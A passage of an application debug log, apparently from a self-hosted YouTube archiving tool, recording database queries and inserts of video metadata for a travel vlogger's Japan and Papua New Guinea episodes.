Japan To Poison Myself.mp4", false, 3, ~U[2026-05-22 16:10:43Z]] 20:00:42.463 [debug] QUERY OK source="sources" db=0.2ms idle=35.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:42.463 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:42.463 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105295] 20:00:42.463 [debug] Current batch of media processed. Will check again in 1000ms 20:00:43.464 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2112, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", "id" => "CvIFRZqadIU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CvIFRZqadIU", "playlist_index" => 8, "timestamp" => 1777040983, "title" => "Japan Is Losing Something It Can Never Get Back", "upload_date" => "20260424"} 20:00:43.465 [debug] QUERY OK source="sources" db=0.2ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:43.465 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:43.466 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 14:29:43Z], 3] 20:00:43.467 [debug] QUERY OK source="media_items" db=1.0ms idle=1002.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "43f44b32-4f88-42f8-b22d-8656c39294f4", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 03:00:43Z], ~U[2026-08-20 03:00:43Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 20:00:43.467 [debug] QUERY OK source="sources" db=0.2ms idle=38.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:43.468 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:43.468 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18983] 20:00:43.468 [debug] Current batch of media processed. Will check again in 1000ms 20:00:44.469 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2747, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", "id" => "zrYwOAJrViI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zrYwOAJrViI", "playlist_index" => 9, "timestamp" => 1775837543, "title" => "The Japan The Algorithm Is Hiding From You", "upload_date" => "20260410"} 20:00:44.470 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:44.470 [debug] QUERY OK source="sources" db=0.2ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:44.471 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 20:00:44.472 [debug] QUERY OK source="media_items" db=1.1ms idle=1002.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "10d4222c-512e-4002-a2b3-09fbb5cf713c", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 03:00:44Z], ~U[2026-08-20 03:00:44Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 20:00:44.473 [debug] QUERY OK source="sources" db=0.2ms idle=41.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:44.473 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:00:44.474 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18984] 20:00:44.474 [debug] Current batch of media processed. Will check again in 1000ms 20:00:45.475 [debug] Current batch of media processed. Will check again in 1000ms 20:00:46.476 [debug] Current batch of media processed. Will check again in 1000ms 20:00:47.477 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2836, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", "id" => "RZ925LRWI0M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RZ925LRWI0M", "playlist_index" => 10, "timestamp" => 1774642707, "title" => "How To Get Robbed By Machete-Wielding Road Bandits", "upload_date" => "20260327"} 20:00:47.478 [debug] QUERY OK source="sources" db=0.2ms idle=1695.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 20:00:47.478 [debug] QUERY OK source="sources" db=0.2ms idle=1695.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:47.478 [debug] QUERY OK source="media_items" db=0.2ms idle=1696.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 20:00:47.479 [debug] QUERY OK source="media_items" db=0.7ms idle=1044.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "384a507f-d3d2-43ac-9d5e-feab4a5911bc", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 03:00:47Z], ~U[2026-08-20 03:00:47Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 20:00:47.480 [debug] QUERY OK source="sources" db=0.2ms idle=43.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 20:00:47.480 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", 